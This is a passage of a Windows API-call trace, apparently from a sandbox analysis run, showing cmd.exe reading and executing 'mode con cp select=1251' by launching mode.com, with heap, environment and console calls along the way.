lpBuffer=0x4a3cc320*, lpNumberOfBytesRead=0x31f698*=0x1, lpOverlapped=0x0) returned 1 [0086.289] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a3cc320, cbMultiByte=1, lpWideCharStr=0x4a3ce34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0086.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.289] GetFileType (hFile=0xe8) returned 0x3 [0086.289] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.289] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.289] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.289] GetFileType (hFile=0xf4) returned 0x3 [0086.289] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.289] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0086.289] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x31f678, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f678*=0x18, lpOverlapped=0x0) returned 1 [0086.289] GetProcessHeap () returned 0xd0000 [0086.289] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x4012) returned 0xeb310 [0086.289] GetProcessHeap () returned 0xd0000 [0086.289] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb310 | out: hHeap=0xd0000) returned 1 [0086.290] _wcsicmp (_String1="mode", _String2=")") returned 68 [0086.290] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0086.290] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0086.290] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0086.290] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0086.290] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0086.290] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0086.290] GetProcessHeap () returned 0xd0000 [0086.290] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb0) returned 0xe9840 [0086.290] GetProcessHeap () returned 0xd0000 [0086.290] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x1a) returned 0xe4630 [0086.290] GetProcessHeap () returned 0xd0000 [0086.290] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x38) returned 0xe6550 [0086.290] GetConsoleOutputCP () returned 0x1b5 [0086.291] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0086.291] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.291] GetConsoleTitleW (in: lpConsoleTitle=0x31f630, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.291] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0086.291] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0086.291] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0086.291] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0086.291] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0086.291] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0086.291] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0086.291] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0086.291] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0086.291] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0086.291] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0086.291] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0086.291] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0086.291] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0086.291] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0086.291] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0086.291] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0086.291] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0086.291] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0086.291] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0086.291] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0086.291] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0086.291] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0086.291] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0086.291] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0086.291] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0086.291] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0086.291] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0086.291] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0086.291] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0086.291] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0086.291] _wcsicmp (_String1="mode", _String2="START") returned -6 [0086.292] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0086.292] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0086.292] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0086.292] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0086.292] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0086.292] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0086.292] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0086.292] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0086.292] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0086.292] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0086.292] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0086.292] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0086.292] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0086.292] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0086.292] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0086.292] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0086.292] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0086.292] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0086.292] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0086.292] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0086.292] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0086.292] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0086.292] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0086.292] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0086.292] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0086.292] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0086.292] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0086.292] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0086.292] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0086.292] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0086.292] _wcsicmp (_String1="mode", _String2="START") returned -6 [0086.292] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0086.292] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0086.292] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0086.292] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0086.292] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0086.292] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0086.292] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0086.292] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0086.292] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0086.292] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0086.292] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0086.292] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x218) returned 0xeaae0 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x42) returned 0xe9900 [0086.293] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x420) returned 0xeb310 [0086.293] SetErrorMode (uMode=0x0) returned 0x0 [0086.293] SetErrorMode (uMode=0x1) returned 0x0 [0086.293] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xeb320, lpFilePart=0x31eec0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x31eec0*="system32") returned 0x13 [0086.293] SetErrorMode (uMode=0x0) returned 0x1 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xeb310, Size=0x42) returned 0xeb310 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeb310) returned 0x42 [0086.293] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0086.293] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x104) returned 0xe5bb0 [0086.293] GetProcessHeap () returned 0xd0000 [0086.293] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x1f8) returned 0xe9c60 [0086.297] GetProcessHeap () returned 0xd0000 [0086.297] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xe9c60, Size=0x106) returned 0xe9c60 [0086.297] GetProcessHeap () returned 0xd0000 [0086.297] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe9c60) returned 0x106 [0086.297] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.297] GetProcessHeap () returned 0xd0000 [0086.297] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xe8) returned 0xe9d80 [0086.297] GetProcessHeap () returned 0xd0000 [0086.297] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xe9d80, Size=0x7e) returned 0xe9d80 [0086.297] GetProcessHeap () returned 0xd0000 [0086.297] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xe9d80) returned 0x7e [0086.298] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0086.298] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x31ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec30) returned 0xe5cc0 [0086.298] GetProcessHeap () returned 0xd0000 [0086.298] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x0, Size=0x28) returned 0xe4660 [0086.298] FindClose (in: hFindFile=0xe5cc0 | out: hFindFile=0xe5cc0) returned 1 [0086.298] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x31ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31ec30) returned 0xe5cc0 [0086.299] GetProcessHeap () returned 0xd0000 [0086.299] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xe4660, Size=0x8) returned 0xe9950 [0086.299] FindClose (in: hFindFile=0xe5cc0 | out: hFindFile=0xe5cc0) returned 1 [0086.299] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0086.299] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0086.299] GetConsoleTitleW (in: lpConsoleTitle=0x31f180, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.299] GetProcessHeap () returned 0xd0000 [0086.299] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x21c) returned 0xeb370 [0086.299] GetConsoleTitleW (in: lpConsoleTitle=0xeb380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.299] GetProcessHeap () returned 0xd0000 [0086.299] RtlReAllocateHeap (Heap=0xd0000, Flags=0x0, Ptr=0xeb370, Size=0x8a) returned 0xeb370 [0086.299] GetProcessHeap () returned 0xd0000 [0086.299] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xeb370) returned 0x8a [0086.299] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0086.299] GetProcessHeap () returned 0xd0000 [0086.299] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb370 | out: hHeap=0xd0000) returned 1 [0086.300] InitializeProcThreadAttributeList (in: lpAttributeList=0x31ef38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31eef8 | out: lpAttributeList=0x31ef38, lpSize=0x31eef8) returned 1 [0086.300] UpdateProcThreadAttribute (in: lpAttributeList=0x31ef38, dwFlags=0x0, Attribute=0x60001, lpValue=0x31eee8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31ef38, lpPreviousValue=0x0) returned 1 [0086.300] GetStartupInfoW (in: lpStartupInfo=0x31f050 | out: lpStartupInfo=0x31f050*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0086.300] GetProcessHeap () returned 0xd0000 [0086.300] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x20) returned 0xe4660 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0086.300] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0086.301] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0086.301] GetProcessHeap () returned 0xd0000 [0086.301] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe4660 | out: hHeap=0xd0000) returned 1 [0086.301] GetProcessHeap () returned 0xd0000 [0086.301] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x12) returned 0xe8940 [0086.301] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x31ef70*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31ef20 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x31ef20*(hProcess=0x54, hThread=0x50, dwProcessId=0x664, dwThreadId=0x668)) returned 1 [0086.352] CloseHandle (hObject=0x50) returned 1 [0086.352] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0086.352] GetProcessHeap () returned 0xd0000 [0086.353] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe8aa0 | out: hHeap=0xd0000) returned 1 [0086.353] GetEnvironmentStringsW () returned 0xe8aa0* [0086.353] GetProcessHeap () returned 0xd0000 [0086.353] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xafc) returned 0xeb370 [0086.353] FreeEnvironmentStringsW (penv=0xe8aa0) returned 1 [0086.353] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77b30000 [0086.353] GetProcAddress (hModule=0x77b30000, lpProcName="NtQueryInformationProcess") returned 0x77b814a0 [0086.353] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x31e828, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x31e828, ReturnLength=0x0) returned 0x0 [0086.353] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x31e860, nSize=0x380, lpNumberOfBytesRead=0x31e820 | out: lpBuffer=0x31e860*, lpNumberOfBytesRead=0x31e820*=0x380) returned 1 [0086.353] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0086.661] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x31ee68 | out: lpExitCode=0x31ee68*=0x0) returned 1 [0086.661] CloseHandle (hObject=0x54) returned 1 [0086.661] _vsnwprintf (in: _Buffer=0x31f0d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ee78 | out: _Buffer="00000000") returned 8 [0086.661] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0086.661] GetProcessHeap () returned 0xd0000 [0086.661] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb370 | out: hHeap=0xd0000) returned 1 [0086.662] GetEnvironmentStringsW () returned 0xee9b0* [0086.662] GetProcessHeap () returned 0xd0000 [0086.662] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb22) returned 0xef4e0 [0086.662] FreeEnvironmentStringsW (penv=0xee9b0) returned 1 [0086.662] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0086.662] GetProcessHeap () returned 0xd0000 [0086.662] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xef4e0 | out: hHeap=0xd0000) returned 1 [0086.662] GetEnvironmentStringsW () returned 0xee9b0* [0086.662] GetProcessHeap () returned 0xd0000 [0086.662] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xb22) returned 0xef4e0 [0086.662] FreeEnvironmentStringsW (penv=0xee9b0) returned 1 [0086.662] GetProcessHeap () returned 0xd0000 [0086.662] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe8940 | out: hHeap=0xd0000) returned 1 [0086.662] DeleteProcThreadAttributeList (in: lpAttributeList=0x31ef38 | out: lpAttributeList=0x31ef38) [0086.662] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0086.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.662] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0086.662] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.662] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0086.662] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.662] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0086.663] GetConsoleOutputCP () returned 0x4e3 [0086.663] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0086.664] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.664] GetProcessHeap () returned 0xd0000 [0086.664] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9d80 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9c60 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe5bb0 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeb310 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9900 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xeaae0 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe6550 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe4630 | out: hHeap=0xd0000) returned 1 [0086.665] GetProcessHeap () returned 0xd0000 [0086.665] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9840 | out: hHeap=0xd0000) returned 1 [0086.665] _vsnwprintf (in: _Buffer=0x4a3d6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f398 | out: _Buffer="\r\n") returned 2 [0086.665] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.665] GetFileType (hFile=0xf4) returned 0x3 [0086.665] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.665] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0086.665] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x31f368, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f368*=0x2, lpOverlapped=0x0) returned 1 [0086.665] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0086.665] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.665] _vsnwprintf (in: _Buffer=0x4a3beb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f3a8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0086.665] _vsnwprintf (in: _Buffer=0x4a3beb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x31f3a8 | out: _Buffer=">") returned 1 [0086.665] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.665] GetFileType (hFile=0xf4) returned 0x3 [0086.665] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.665] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a3cc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0086.665] WriteFile (in: hFile=0xf4, lpBuffer=0x4a3cc320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x31f398, lpOverlapped=0x0 | out: lpBuffer=0x4a3cc320*, lpNumberOfBytesWritten=0x31f398*=0x14, lpOverlapped=0x0) returned 1 [0086.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.665] GetFileType (hFile=0xe8) returned 0x3 [0086.665] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.665] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0086.665] 